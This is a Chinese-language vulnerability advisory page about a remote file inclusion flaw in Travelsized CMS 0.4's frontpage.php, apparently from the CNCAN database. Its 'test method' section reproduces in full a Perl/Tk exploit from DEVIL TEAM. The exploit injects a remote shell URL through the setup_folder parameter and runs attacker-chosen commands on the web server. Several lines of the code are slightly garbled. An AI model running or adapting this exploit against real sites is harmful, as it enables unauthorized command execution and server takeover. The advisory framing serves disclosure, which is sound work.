BUGTRAQ ID: 20321
CNCAN ID:CNCAN-2006100409
漏洞消息时间:2006-10-03
漏洞起因
输入验证错误
影响系统
Dan Jensen Travelsized CMS 0.4
危害
远程攻击者可以利用漏洞以WEB进程权限执行任意命令。
攻击所需条件
攻击者必须访问Travelsized CMS。
漏洞信息
Travelsized CMS是一款基于PHP的内容管理程序。
Travelsized CMS不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。
问题是由于'Frontpage.PHP'脚本对用户提交的WEB参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。
测试方法
#!/usr/bin/perl
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#- - - [DEVIL TEAM THE BEST POLISH TEAM] - -
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#- Travelsized CMS <= 0.4 (frontpage.php) Remote File Include Exploit
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#- [Script name: Travelsized CMS 0.4
#- [Script site: http://prdownloads.sourceforge.net/uberghey/travelsized-0.4.tar.bz2?download
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#- Find by: Kacper (a.k.a Rahim)
#+
#- DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam
#+
#- Contact: kacper1964@yahoo.pl
#- or
#- http://www.rahim.webd.pl/
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#- Special Greetz: DragonHeart ;-)
#- Ema: Leito, Leon, Adam, DeathSpeed, Drzewko, pepi, mivus
#- SkD, nukedclx, Ramzes
#-
#- Greetz for all users DEVIL TEAM IRC Channel !!
#!@ Przyjazni nie da sie zamienic na marne korzysci @!
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#- Z Dedykacja dla osoby,
#- bez ktorej nie mogl bym zyc...
#- K.C:* J.M (a.k.a Magaja)
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
use Tk;
use Tk::DialogBox;
use LWP::UserAgent;
$mw = new MainWindow(title => DEVIL TEAM :: Travelsized CMS <= 0.4 (frontpage.php) Remote File Include Exploit :: by Kacper ;-) );
$mw->geometry ( 驌x300' ) ;
$mw->resizable(0,0);
$mw->Label(-text => 'Travelsized CMS <= 0.4 (frontpage.php) Remote File Include Exploit by Kacper', -font => '{Verdana} 7 bold',-foreground=>'blue')->pack();
$mw->Label(-text => '')->pack();
$fleft=$mw->Frame()->pack ( -side => 'left', -anchor => 'ne') ;
$fright=$mw->Frame()->pack ( -side => 'left', -anchor => 'nw') ;
$url = 'http://www.site.com/[Travelsized_path]/frontpage.php?setup_folder='
$shell_path = 'http://server/shell.txt?'
$cmd = 'ls -la'
$fleft->Label ( -text => 'Script Path: ', -font => '{Verdana} 8 bold') ->pack ( -side => top , -anchor => 'e' ) ;
$fright->Entry ( -relief => groove, -width => 35, -font => '{Verdana} 8', -textvariable => \$url) ->pack ( -side => top , -anchor => 'w' ) ;
$fleft->Label ( -text => 'Shell Path: ', -font => '{Verdana} 8 bold' ) ->pack ( -side => top , -anchor => 'e' ) ;
$fright->Entry ( -relief => groove, -width => 35, -font => '{Verdana} 8', -textvariable => \$shell_path) ->pack ( -side => top , -anchor => 'w' ) ;
$fleft->Label ( -text => 'CMD: ', -font => '{Verdana} 8 bold') ->pack ( -side => top , -anchor => 'e' ) ;
$fright->Entry ( -relief => groove, -width => 35, -font => '{Verdana} 8', -textvariable => \$cmd) ->pack ( -side => top , -anchor => 'w' ) ;
$fright->Label( -text => ' ')->pack();
$fleft->Label( -text => ' ')->pack();
$fright->Button(-text => 'Exploit Include Vulnerability',
-relief => groove,
-width => ཚ',
-font => '{Verdana} 8 bold',
-activeforeground => 'red',
-command => \&akcja
)->pack();
$fright->Label( -text => ' ')->pack();
$fright->Label( -text => 'Exploit coded by Kacper', -font => '{Verdana} 7')->pack();
$fright->Label( -text => 'DEVIL TEAM :: The Best Polish Team', -font => '{Verdana} 7')->pack();
$fright->Label( -text => 'http://www.rahim.webd.pl/', -font => '{Verdana} 7')->pack();
MainLoop();
sub akcja()
{
$InfoWindow=$mw->DialogBox(-title => 'DEVIL TEAM :: Exploit by Kacper ;-) ', -buttons => [OK]);
$InfoWindow->add('Label', -text => 'Enter to DEVIL TEAM IRC CHANNEL: 72.20.18.6:6667 #devilteam', -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => 'DEVIL TEAM SITE: http://www.rahim.webd.pl/', -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => 'Greetz For my friends ;-)', -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
system(start $url$shell_path$cmd);
$InfoWindow->Show();
}
# milw0rm.com [2006-10-03]
厂商解决方案
目前没有详细解决方案提供，请关注以下链接：
http://leinir.dk/travelsized/
漏洞提供者
Kacper
漏洞消息链接
http://www.securityfocus.com/bid/20321
漏洞消息标题
Travelsized CMS Frontpage.PHP Remote File Include Vulnerability
|
|
网友评论：（只显示最新10条。评论内容只代表网友观点，与本站立场无关！）
版权归属：Copyright 2004-2008『冰凉网络』官方主页 All Rights Reserved. 
客服联系QQ:1050000 
Email:
联系电话(0)13536724023